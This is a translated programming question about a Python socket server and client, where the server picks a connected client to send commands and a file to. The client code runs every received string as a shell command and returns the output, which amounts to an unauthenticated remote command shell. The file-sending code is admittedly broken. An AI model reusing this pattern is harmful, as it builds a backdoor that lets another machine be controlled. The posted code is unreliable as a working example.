Python套接字/线程将文件从服务器发送到客户端

Question

我正在使用Python（插座/线程）进行项目，其中一部分说我需要单击一个按钮，从服务器中选择文件并将其发送给客户端（我仍然没有创建页面和按钮） 我尝试先使用CMD命令进行此操作，然后再访问网站 +按钮！ 问题是，我编写了一个CMD服务器/客户端代码，该代码使我可以控制客户端CMD（好像我正在使用网站按钮进行操作），让我解释一下！ 正如您在第一张图片中看到的那样，服务器可以列出活动客户端“客户端”，然后选择他想连接到“选择0”的端 server 连接后，我可以发送命令，客户执行它们，就像您在第二张图片中看到的那样 客户端 一切正常，但是我尝试添加另一个函数，当我连接到客户端后，我在键入命令“发送”时发送文件，仅在上面的图片中使用“客户端”和“ select 0”命令。 问题是，即使我在服务器CMD中键入“发送”，它也行不通，它说：“错误发送命令！”，tryy除外（execpt消息） 发送不工作 我将链接重要功能的图片，以便您尝试了解我要做的事情： 摘要：1-我想从服务器发送命令“发送”，该命令将文件发送给客户端 2-我希望客户端读取发送命令并从服务器获取文件 谢谢 ！ 服务器代码： 列出所有连接的客户端并选择要连接到并发送命令/文件的客户端的功能： 客户 将命令和文件发送给客户端的功能（我不知道应该如何知道它必须发送文件的客户端） 发送命令/文件 客户端代码： 最后，获取文件和命令并执行它们的功能 executecommands/getfiles

代码

theSocket = socket.socket()
theSocket.bind((host,port))
connection,address = theSocket.accept()

#Display all the current active connections
def listConnections() :
    resultsData = ""

    #Check if a connection is still active or ont
    for isUnactive, aConnection in enumerate(connectionsList) :
        try :
            #Send string test
            aConnection.send(str.encode(" "))
            aConnection.recv(201480)

        except :
            #Delete if not active
            del connectionsList[isUnactive]
            del addressesList[isUnactive]
            continue

        resultsData = str(isUnactive) + " " + str(addressesList[isUnactive][0]) + " " + str(addressesList[isUnactive][1]) + "\n"

    print("----- Clients -----" + "\n" + resultsData)

#Choose a client target to connect to
def getTarget(cmd) :
    try :
        #Choose a client
        targetChosen = cmd.replace("Select ", "")
        targetChosen = int(targetChosen)

        #Connect to the the chosen client
        connection = connectionsList[targetChosen]
        print("You are now connected to : " + str(addressesList[targetChosen][0]))
        print(str(addressesList[targetChosen][0]) + "> ", end="")
        return connection

        '''
        Something like :
            173.249.21.59> Echo Hey
                Hey
        '''

    except :
        print("Selection not valid !")
        return listConnections()

#Send commands to the chosen client
def sendTargetCommands(connection) :
    while True :
        try :
            cmd = input()

            if cmd == "Quit" :
                break
        
            if cmd == "Send" :
                sendFile()

            #Send the command to the client
            if len(str.encode(cmd)) > 0 :
                connection.send(str.encode(cmd))
                clientResponse = str(connection.recv(1024), "utf-8")
                print(clientResponse, end="")

        except :
            print("Error sending the command !")
            break

def sendFile() :
    #Opening the file to send
    fileSending = open("Profiles.txt", 'rb')

    #Reading the file to send
    dataFile = fileSending.read()

    #Sending the file
    theSocket.send(fileSending.encode("utf-8"))

    #Sending the file data
    theSocket.send(dataFile.encode("utf-8"))

    #Closing the file
    fileSending.close()

：

theSocket.connect((host,port))

if theSocket :
    print("Connected to the server successfull !")

#Trying to get the files and save them
def recieveFile ():
    print("Receiving files ...")
    fileName = theSocket.recv(1024).decode("utf-8")
    print("fileName Received !")    
    fileData = open(fileName, "wb")
    print("fileData Written !")
    dataFile = theSocket.recv(1024).decode("utf-8")
    print("dataFile Received !")
    fileData.write(dataFile)
    print("dataFile Written !")
    fileData.close()
    print("fileData Closed !")

def commandsReceiving() :
    while True :
        print("Receiving commands ...")
        dataReceiver = theSocket.recv(1024)
        if dataReceiver[:2].decode("utf-8") == 'cd':
            os.chdir(dataReceiver[3:].decode("utf-8"))
        
        #If the command from the server is "Send" call the function above and try to get the files
        if dataReceiver.decode("utf-8") == "Send" :
            recieveFile()

        if len(dataReceiver) > 0 :
            cmd = subprocess.Popen(dataReceiver[:].decode("utf-8"),shell=True,stdout=subprocess.PIPE,stdin=subprocess.PIPE,stderr=subprocess.PIPE)
            outputByte = cmd.stdout.read() + cmd.stderr.read()
            outputString = str(outputByte, "utf-8")
            currentDirectory = os.getcwd() + "> "
            theSocket.send(str.encode(outputString + currentDirectory))
            
            #If you want to show what you are writing in both computers
            print(outputString)

commandsReceiving()

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